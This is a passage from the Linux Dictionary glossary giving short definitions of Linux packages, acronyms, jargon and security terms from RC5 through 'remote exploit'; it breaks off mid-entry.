The successor to RC4. Key point: In order to promote RC5, RSA conducts contests that pay people if they can crack it. The first contest used a 56-bit key, took 212 days to crack by <http://www.distributed.net/> using a total of roughly 1-million computers trying all possible 35,000,000,000,000,000 combinations. The message was "It is time to move to a longer key length.", and it was encrypted using the key 0x532B744CC20999. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rcalc

A symbolic calculator for the GNOME desktop. rCalc is a scientific calculator for the GNOME desktop environment. It aims to occupy the middle ground between simple 'point-and-click' calculators and full featured mathematical packages, and hopefully take some of the best of both worlds. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RCAS

Reserve Component Automation System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RCC

Radio Common Carrier From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RCC

Regional Control Center From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RCC

RCC

Routing Control Center From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rcconf

Debian Runlevel configuration tool This tool configures system services in connection with system runlevels. It turns on/off services using the scripts in /etc/init.d/. Rcconf works with both System-V style and file-rc runlevel configuration. It is a TUI frontend to the update-rc.d command. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rccp

Console frontend to DCTC - Direct Connect (peer-based file-sharing) RCCP (Red Connect Console Program) is text front-end for the dctl program. Dctl handles all communication with dchubs and

clients. RCCP is designed to allow both scripting and command line interaction. Besides supporting all the basic Direct Connect commands such as downloading, searching, uploading, resuming, multihub search etc RCCP can be scripted. Selected scripts from many included with the package: * multi hub spider search * last seen user script (ala irc !seen script) * list all files from all users * download bot – watches query results and downloads all of them * segmented downloading * ... plus many more ... Direct Connect protocol is intended for peer-based file-sharing. In practise it works better than gnutella and other similar systems as it allows dc hubs (servers) administrators to require clients to share specified amount of data. The amount is usually based on type of client's connection and it is used not to hurt or exclude anybody but to make file sharing "fair play". From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RCD

Receiver-Carrier Detector From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RCP

Remote Copy Program From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rcs

change RCS file attributes From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RCS

Overview of RCS. RCS, the revision control system, is a suite of programs that tracks changes in text files and controls shared access to files in work group situations. It is generally used to maintain source code modules. It lends itself to tracking revisions of document files as well. RCS was written by Walter F. Tichy and Paul Eggert. The latest version which has been ported to Linux is RCS Version 5.7. There is also a semi-official, threaded version available. Much of the information in this HOWTO is taken from the RCS man pages. RCS includes the rcs(1) program, which controls RCS archive file attributes, ci(1) and co(1), which check files in and out of RCS archives, ident(1), which searches RCS archives by keyword identifiers, rcs-clean(1), a program to clean up files that are not being worked on or haven't changed, rcsdiff(1), which runs diff(1) to compare the revisions, rcsmerge(1), which merges two RCS branches into a single working file, and rlog(1), which prints RCS log messages. Files archived by RCS may be text of any format, or binary if the diff program used to generate change files handles 8-bit data. Files may optionally include identification strings to aid in tracking by ident(1). RCS uses the utilities diff(1) and diff3(3) to generate the change files

between revisions. A RCS archive consists of the initial revision of a file, which is version 1.1, and a series of change files, one for each revision. Each time a file is checked out of an archive with `co(1)`, edited, and checked back into the archive with `ci(1)`, the version number is increased, for example, to 1.2, 1.3, 1.4, and so on for successive revisions. The archives themselves commonly reside in a `./RCS` subdirectory, although RCS has other options for archive storage. For an overview of RCS, see the `rcsintro(1)` manual page. From RCS-HOWTO

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rdiff

Binary diff tool for signature-based differences rdiff is a little like diff and patch all rolled into one, with support for binary files. rdiff is a tool to do this. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rdiff-backup

Backup program to use deltas for history rdiff-backup is a script that backs up one directory to another. The target directory ends up a copy of the source directory, but extra reverse diffs are stored in a special subdirectory of that target directory, so you can still recover files lost some time ago. The idea is to combine the best features of a mirror and an incremental backup. rdiff-backup also preserves subdirectories, symlinks, special files, permissions, uid/gid ownership (if it is running as root), and modification times. Finally, rdiff-backup can operate in a bandwidth efficient manner over a pipe, like rsync. Thus you can use rdiff-backup and ssh to securely back a hard drive up to a remote location, and only the differences will be transmitted. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rdist

is an open source program to maintain identical copies of files over multiple hosts. It preserves the owner, group, mode, and mtime of files if possible and can update programs that are executing. Almost all versions of UNIX include rdist. However, most that do include a very old version sometimes referred to as "4.2BSD rdist", "rdist classic", or "rdist version 3". From MagniComp

Linux Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rdist

Remote file distribution client and server. Rdist is a program to maintain identical copies of files over multiple hosts. It preserves the owner, group, mode, and mtime of files if possible and can update programs that are executing. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rdist

The RDist program maintains identical copies of files on multiple hosts. If possible, RDist will preserve the owner, group, mode, andmtime of files and it can update programs that are executing.

READ

Relative Element Address Designate (cryptography) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

read-edid

hardware information-gathering tool for VESA PnP monitors read-edid consists of two tools; get-edid uses a VESA VBE 2 interrupt service routine request to read a 128 byte EDID version 1 structure from your graphics card, which retrieves this information from the monitor via the Data Display Channel (DDC). parse-edid parses this data structure and outputs data about the monitor suitable for inclusion into an XF86Config file. get-edid uses real-mode x86 instructions to communicate with the video hardware; therefore, it is usable only by root, and this package is only

available for the i386 architecture. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

read-only

A file that can be read (copied, and so on) but not written (changed). Linux has a system of permissions that enables the owner of the file, the owner's group, or all users to have or not have permission to read, write, or execute file. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

read-only

Data or storage device that can be accessed and read but cannot be modified. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

readelf

Displays information about ELF files. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

readline

The Readline library provides a set of functions that allow users to edit command lines. Both Emacs and vi editing modes are available. The Readline library includes additional functions for maintaining a list of previously-entered command lines for recalling or editing those lines, and for performing csh-like history expansion on previous commands. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

readlink

display target of symbolic link on standard output From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

readlink

read value of a symbolic link From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

README

A roadmap of your source distribution. By ancient convention, this is the first file intrepid explorers will read after unpacking the source. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

README

A text file that comes with some software and gives information on the program, often additional information not found in the manual. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

README

Any essential information. This is usually an explanation of what the package does, promotional material, and anything special that need be done to install the package. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

README file

n. Hacker's-eye introduction traditionally included in the top-level directory of a Unix source distribution, containing a pointer to more detailed documentation, credits, miscellaneous revision history, notes, etc. (The file may be named README, or READ.ME, or rarely ReadMe or readme.txt or some other variant.) In the Mac and PC worlds, software is not usually distributed in source form, and the README is more likely to contain user-oriented material like last-minute documentation changes, error workarounds, and restrictions. When asked, hackers invariably relate the README convention to the famous scene in Lewis Carroll's "Alice's Adventures In Wonderland" in which Alice confronts magic munchies labeled "Eat Me" and "Drink Me". From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

readprofile

a tool to read kernel profiling information From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

readseq

[Biology] Conversion between sequence formats Reads and writes nucleic/protein sequences in various formats. Data files may have multiple sequences. Readseq is particularly useful as it automatically detects many sequence formats, and converts between them. URL: <ftp://ftp.bio.indiana.edu/molbio/readseq/version1> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

real

adj. Not simulated. Often used as a specific antonym to virtual in any of its jargon senses. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

real time

1. [techspeak] adj. Describes an application which requires a program to respond to stimuli within some small upper limit of response time (typically milli- or microseconds). Process control at a chemical plant is the canonical example. Such applications often require special operating systems (because everything else must take a back seat to response time) and speed-tuned hardware. 2. adv. In jargon, refers to doing something while people are watching or waiting. "I asked her how to find the calling procedure's program counter on the stack and she came up with an algorithm in real time." From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Real time OS

a real-time operating system is able to execute all of its tasks without violating specified timing constraints. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

real user

n. 1. A commercial user. One who is paying real money for his computer usage. 2. A non-hacker. Someone using the system for an explicit purpose (a research project, a course, etc.) other than pure exploration. See user. Hackers who are also students may also be real users. "I need this fixed so I can do a problem set. I'm not complaining out of randomness, but as a real user." See also luser. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Real World

n. 1. Those institutions at which `programming' may be used in the same sentence as `FORTRAN', `COBOL', `RPG', `IBM', `DBASE', etc. Places where programs do such commercially necessary but intellectually uninspiring things as generating payroll checks and invoices. 2. The location of non-programmers and activities not related to programming. 3. A bizarre dimension in which the standard dress is shirt and tie and in which a person's working hours are defined as 9 to 5 (see code grinder). 4. Anywhere outside a university. "Poor fellow, he's left MIT and gone into the Real World." Used pejoratively by those not in residence there. In conversation, talking of someone who has entered the Real World is not unlike speaking of a deceased person. It is also noteworthy that on the campus of Cambridge University in England, there is a gaily-painted lamp-post which bears the label `REALITY CHECKPOINT'. It marks the boundary between university and the Real World; check your notions of reality before passing. This joke is funnier because the Cambridge `campus' is actually coextensive with the center of Cambridge town. See also fear and loathing, mundane, and uninteresting. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

realpath

Return the canonicalized absolute pathname The package contains a small utility realpath, which converts each pathname argument to an absolute pathname, which has no components that are symbolic links or the special . or .. directory. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

realtimebattle

Programming game RealTimeBattle is a programming game in which robots controlled by programs are fighting each other. The goal is to destroy the enemies, using the radar to examine the environment and the cannon to shoot. Robot programs can be written in any language, all communication with the main program is done via stdout/stdin. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

reboot

reboot or enable/disable Ctrl–Alt–Del From whatis
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

reboot

stop the system. From whatis <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

reboot

To restart a computer without turning off the power. From Redhat–9–Glossary
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

recite

English text speech synthesizer Recite is a program to do speech synthesis. The quality of sound produced is not terribly good, but it should be adequate for reporting the occasional error message verbally. Given some English text, recite will convert it to a series of phonemes, then convert the phonemes to a sequence of vocal tract parameters, and then synthesise the sound a vocal tract would make to say the sentence. Recite can perform a subset of these operations, so it can be used to convert text into phonemes, or to produce an utterance based on vocal tract parameters computed by some other program. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

recode

Character set conversion utility. Free `recode' converts files between character sets and usages. When exact transliterations are not possible, it may get rid of the offending characters or fall back on approximations. This program recognizes or produces nearly 150 different character sets and is able to transliterate files between almost any pair. Most RFC 1345 character sets are supported. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

recode

The GNU recode utility converts files between various character sets. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

records–common

Save and index notes in Emacs environment Records–mode is a major mode for editing and indexing notes. Notes are per–day files containing one or more subjects, subjects from different days are indexed and can be traversed, etc. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

records–gnuemacs

Save and index notes in Emacs environment Records–mode is a major mode for editing and indexing notes. Notes are per–day files containing one or more subjects, subjects from different days are indexed and can be traversed, etc. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

records–xemacs

Save and index notes in Emacs environment Records–mode is a major mode for editing and indexing notes. Notes are per–day files containing one or more subjects, subjects from different days are indexed and can be traversed, etc. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

recover

Undelete files on ext2 partitions Recover automates some steps as described in the ext2–undeletion howto. This means it seeks all the deleted inodes on your hard drive with debugfs. When all the inodes are indexed, recover asks you some questions about the deleted file. These questions are: * Hard disk device name * Year of deletion * Month of deletion * Weekday of deletion * First/Last possible day of month * Min/Max possible file size * Min/Max possible deletion hour * Min/Max possible deletion minute * User ID of the deleted file * A text string the file included (can be ignored) If recover found any fitting inodes, it asks to give a directory name and dumps the inodes into the directory. Finally it asks you if you want to filter the inodes again (in case you typed some wrong answers). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Recovery Is Possible! (RIP)

RIP is a CD or floppy boot/rescue/backup system. It has support for a lot of filesystem types (Reiserfs, ext2/3, iso9660, UDF, XFS, JFS, UFS, HPFS, MINIX, MS DOS, NTFS, UMSDOS, and VFAT) and contains a bunch of utilities for system recovery. It might also be possible to install and boot it from a LS-120 floppy drive. It has been designed for non-networked stand-alone home PC hard drive booting and rescue. Only the CD version has UDF/HPFS/MINIX/XFS/JFS filesystem support. V51 was released March 21, 2002. V53 was released June 15, 2003. A 'special purpose/mini' distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

red

text editor From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Red Flag

Red Flag also claims to be the leading Linux OS provider in China. Redflag Linux Desktop 3.2 beta was released August 12, 2002. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Red Hat Linux

Red Hat, Inc. is perhaps the best known distribution. Red Hat Linux 9 became available to Red Hat Network subscribers on March 31, 2003 and generally available on April 7, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RedBlue Linux

Esfia, Inc. is based in Taipei, Taiwan. Its RedBlue Linux is used in the company's BlueTooth enabled PDA. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-date

redhat-config-date is a graphical interface for changing the system date and time, configuring the system time zone, and setting up the NTP daemon to synchronize the time of the system with a NTP time server. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-httpd

A graphical configuration tool for the Apache Web server. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-keyboard

redhat-config-keyboard is a graphical user interface that allows the user to change the default keyboard of the system. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-kickstart

redhat-config-kickstart is a graphical tool for creating kickstart files. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-language

redhat-config-language is a graphical user interface that allows the user to change the default language of the system. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-mouse

redhat-config-mouse is a graphical user interface that allows the user to change the default mouse of the system. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-network

Netconf is the network configuration tool for Red Hat Linux, supporting ethernet, ADSL, ISDN, and PPP. It can also configure firewalls and masquerading, and can use profiles. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-nfs

redhat-config-nfs is a graphical user interface for creating, modifying, and deleting nfs shares. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-packages

redhat-config-packages is the package manager for Red Hat Linux. It supports installation of interesting packages from CD. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-printer

The printconf utility is a printer configuration and filtration system based on magicfilter (the alchemist data library) and the foomaticfilter system. It rebuilds local print configuration and spool directories from data sources at lpd init time, and is integrated touse the multi-sourced features of the alchemist data library. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-printer-gui

The printconf-gui package contains a GUI tool for the printconfutility. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-proc

This is a tool for configuring operating system tunable parameters. It eases modifying /etc/sysctl.conf.

From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-rootpassword

redhat-config-rootpassword is a graphical user interface that allow sthe user to change the root password of the system. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-securitylevel

redhat-config-securitylevel is a graphical user interface for setting basic firewall rules. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-services

redhat-config-services is a utility which allows you to configure which services should be enabled on your machine. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-soundcard

redhat-config-soundcard is a graphical user interface thatd etects and configures the soundcard(s) on the system. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-users

Redhat-config-users is a graphical utility for administrating users and groups. It depends on the libuser library. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-config-xfree86

redhat-config-xfree is a graphical user interface that allows the user to configure their XFree86 Xserver. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-logos

The redhat-logos package (the "Package") contains files of the Red Hat "Shadow Man" logo and the RPM logo (the "Logos"). Red Hat, the RedHat "Shadow Man" logo, RPM, and the RPM logo are trademarks or registered trademarks of Red Hat, Inc. in the United States and other countries. See the included COPYING file for information on copying and redistribution. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-logviewer

Red Hat Log Viewer is a graphical interface for viewing and searching log files. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-menus

This package contains the XML files that describe the menu layout for GNOME and KDE, and the .desktop files that define the names and icons of "subdirectories" in the menus. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-release

The redhat-release package identifies the release of Red Hat Linux. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-rpm-config

Red Hat specific rpm configuration files. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-switch-printer

redhat-switch-printer is the Printing System Switcher for Red Hat Linux. It enables users to easily switch between various printing system that they have installed. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-switch-printer-gnome

The redhat-switch-printer-gnome package contains a GNOME interface for the The Printing System Switcher. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-switchmail

The Mail Transport Agent Switcher is a tool which enables users to easily switch between various Mail Transport Agents that they have installed. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redhat-switchmail-gnome

The redhat-switchmail-gnome package contains a GNOME interface for the Red Hat Mail Transport Agent Switcher. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RedHawk Linux

Concurrent Computer Corporation's RedHawk Linux is not a mini-distribution, but as a full featured real-time distribution, it is somewhat specialized. It's an industry-standard, POSIX-compliant, real-time version of Linux, based on the Red Hat Linux distribution. RedHawk features high I/O throughput, fast response to external events, and optimized interprocess communication. Version 1.3 was released May 22, 2003. A 'special purpose/mini' distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RedIce-Linux

REDSONIC's REDICE-Linux is a real-time Linux kernel, designed to support mission and time critical applications and provide quality of service to your system. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redir

Redirect TCP connections It can run under inetd or stand alone (in which case it handles multiple connections). Its 8 bit clean, not limited to line mode, is small and light. Supports FTP redirects and supports transparency support. redir is all you need to redirect traffic across firewalls authenticate based on an IP address etc etc. No need for the firewall toolkit. The functionality of inetd/tcpd and "redir" will allow you to do everything you need without screwy telnet/ftp etc gateways. (I assume you are running IP Masquerading of course.) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redirection

Accepting input from a source other than the standard input or sending output to a destination other than the standard output. Use the less than sign (<) for redirection of input and the greater than sign (>) for redirection of output. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Redirection Symbol

The > keyboard character. It is often used to send the output from a command to a text file. For example, ls -a > output.txt sends the current directory list to a file called output.txt. Repeating the command will replace the content of the file with new data. (Also, see Append Symbol and Piping Symbol.) From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

redundant arrays of independent disks (RAID)

The use of two or more disk drives in a single computer system, which can provide better disk performance, error recovery, and fault tolerance. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

REGEX

REGular EXpressions (GREP, EMACS, ...) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

regexp

/reg'eksp/ n. [Unix] (alt. `regex' or `reg-ex') 1. Common written and spoken abbreviation for `regular expression', one of the wildcard patterns used, e.g., by Unix utilities such as grep(1), sed(1), and awk(1). These use conventions similar to but more elaborate than those described under glob. For purposes of this lexicon, it is sufficient to note that regexps also allow complemented character sets using ^; thus, one can specify `any non-alphabetic character' with [^A-Za-z]. 2. Name of a well-known PD regexp-handling package in portable C, written by revered Usenetter Henry Spencer <henry@zoo.toronto.edu>. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

regexp

See regular expression. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

regexplorer

A visual regular expression explorer RegExplorer is a visual regular expression explorer, it allows for writing regular expressions and visually see the matches, thus making regular expression much easier to write and maintain. More information can be found at the RegExplorer web site

<http://regexplorer.sourceforge.net/> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

regina-rexx

The Regina REXX interpreter. Regina is Anders Christensen's REXX interpreter for Unix and VMS. REXX is a procedural language that allows programs and algorithms to be written in a clear and structured way, it is also designed to be used as a macro language by arbitrary application programs. Contains the Regina REXX interpreter (regina and rexx), and external function package to interface to curses library. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

regina2

The Regina REXX interpreter, run-time library. Regina is Anders Christensen's REXX interpreter for Unix and VMS. REXX is a procedural language that allows programs and algorithms to be written in a clear and structured way, it is also designed to be used as a macro language by arbitrary application programs. Contains runtime shared libraries. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

REGIS

REmote Graphics Instruction Set From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

register dancing

n. Many older processor architectures suffer from a serious shortage of general-purpose registers. This is especially a problem for compiler-writers, because their generated code needs places to store temporaries for things like intermediate values in expression evaluation. Some designs with this problem, like the Intel 80x86, do have a handful of special-purpose registers that can be pressed into service, providing suitable care is taken to avoid unpleasant side effects on the state of the processor: while the special-purpose register is being used to hold an intermediate value, a delicate minuet is required in which the previous value of the register is saved and then restored just before the official function (and value) of the special-purpose register is again needed. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

REGTP

REGulierungsbehoerde fuer Telekommunikation und Post Org., Germany, "RegTP" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

regular expression

A set of symbols, including text and metacharacters, used to search for text. The most common components are the period (.), which matches one character; the asterisk (*), which matches any

number of characters; and brackets ([string]), which list a set of characters to be matched. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Regular Expressions

A regular expression is a sequence of characters that forms a template used to search for strings [Words, phrases, or just about any sequence of characters.] within text. In other words, it is a search pattern. To get an idea of when you would need to do this, consider the example of having a list of names and telephone numbers. If you want to find a telephone number that contains a 3 in the second place and ends with an 8, regular expressions provide a way of doing that kind of search. Or consider the case where you would like to send an email to fifty people, replacing the word after the ``Dear'' with their own name to make the letter more personal. Regular expressions allow for this type of searching and replacing. From Rute-Users-Guide

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

reiserfs-utils

The reiserfs-utils package contains a number of utilities for creating, checking, modifying, and correcting any inconsistencies in ReiserFS filesystems, including reiserfsck (used to repair filesystem inconsistencies), mkreiserfs (used to initialize a partition to contain an empty ReiserFS filesystem), debugreiserfs (used to examine the internal structure of a filesystem, to manually repair a corrupted filesystem, or to create test cases for reiserfsck), and some other ReiserFS filesystem utilities. You should install the reiserfs-utils package if you want to use ReiserFS on any of your partitions. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

reiserfsprogs

User-level tools for ReiserFS filesystems This package contains utilities to create, check, resize, and debug ReiserFS filesystems. NOTE: Releases of Linux prior to 2.4.1 do not support ReiserFS on their own. Thus, these tools will only be useful with Linux 2.4.1 or later, or if your kernel has been built with the ReiserFS patch applied. This patch can be found in the appropriate kernel-patch-<version>-reiserfs packages. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

relative

In file system navigation, a path to a file or directory as it relates to a user's or program's current directory location. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Relative vs. Absolute Pathnames

Commands can be given file name arguments in two ways. If you are in the same directory as the file (i.e., the file is in the current directory), then you can just enter the file name on its own (e.g., cp my_file new_file). Otherwise, you can enter the full path name, like cp /home/jack/my_file /home/jack/new_file. Very often administrators use the notation ./my_file to be clear about the distinction, for instance, cp ./my_file ./new_file. The leading ./ makes it clear that both files are relative to the current directory. File names not starting with a / are called relative path names, and otherwise, absolute path names. From Rute-Users-Guide

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Relax Linux

Relax Linux is a free Linux distribution targeted towards desktop users. It has compiler tools and glibc2.1, you can install to a dos loop image (safer for you windows users) or to a separate ext2 partition. It's easy to install and the whole thing fully installed is less than 350 megs. A small disk distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

relay (mail relay)

E-mail relay is where spammers hijack an e-mail server in order to forward their spam through the server. Usually, the spammer (from the Internet) sends the e-mail server a single e-mail with thousands of recipients. Similarly, any open USENET server can be hijacked to relay spam to newsgroups. Key point: This allows a spammer with a dial-up account to send e-mail as fast as a

high-speed Internet connection, since it is the victim who breaks apart the recipient list and sends each person a separate copy. Therefore, one e-mail goes into the server, thousands come out. Key point: Relaying can be turned off in the e-mail server configuration. Such configuration will force the server to accept either incoming mail, or outgoing mail, but not incoming e-mail destined back out to the Internet. There are several sites on the Internet that will scan your corporate e-mail server to see if will relay spam. Key point: Some e-mail relays are completely open, others are closed to open relaying, but have bugs that can be exploited in order to relay spam. Resource: Paul Vixie's MAPS <http://maps.vix.com/> (MAPS is SPAM spelled backwards). From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

relay-ctrl

SMTP Relaying Control for qmail & tcpserver This package allows SMTP relaying for any host that authenticates with POP3. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

REM

Remote Equipment Module From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

REM

Ring Error Monitor From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

remembrance-agent

Emacs mode to help find relevant texts The Remembrance Agent is one of the projects being developed by the MIT Media Lab's software agents group. Given a collection of the user's accumulated email, usenet news articles, papers, saved HTML files and other text notes, it attempts to find those documents which are most relevant to the user's current context. That is, it searches this collection of text for the documents which bear the highest word-for-word similarity to the text the user is currently editing, in the hope that they will also bear high conceptual similarity and thus be useful to the user's current work. These suggestions are continuously displayed in a small buffer at the bottom of the user's emacs buffer. If a suggestion looks useful, the full text can be retrieved with a single command. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

remind

a sophisticated reminder service Remind allows you to remind yourself of upcoming events and appointments via a reasonably easy to understand config file. Each reminder or alarm can consist of a message sent to standard output, or a program to be executed. It also features: sophisticated date calculation, moon phases, sunrise/sunset, Hebrew calendar, alarms, PostScript output, tcl/tk front-end, multilingual messages, and proper handling of holidays. Includes scripts for making a nice WWW calendar server (in the /usr/share/doc/remind/examples directory). And provides a graphical front-end for people who don't want to learn the scripting language. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

REMIS

Real Estate Management Information System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

REMOS

Resources Management On-Line System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

remote (remote attack, remote exploit)

A common way to classify attacks is whether they are done remotely by a hacker from across the Internet, or whether they are done locally by a user who already has privileges on the system. The important difference is that a "remote" attack can be launched by any of the hundreds of the millions of people on the Internet at any time without first logging on. Point: A hacker may need to use a combination of remote and local exploits in order to gain control over a system. More and more services are running within sandboxes in order to limit the "spread of the infection". A local exploit

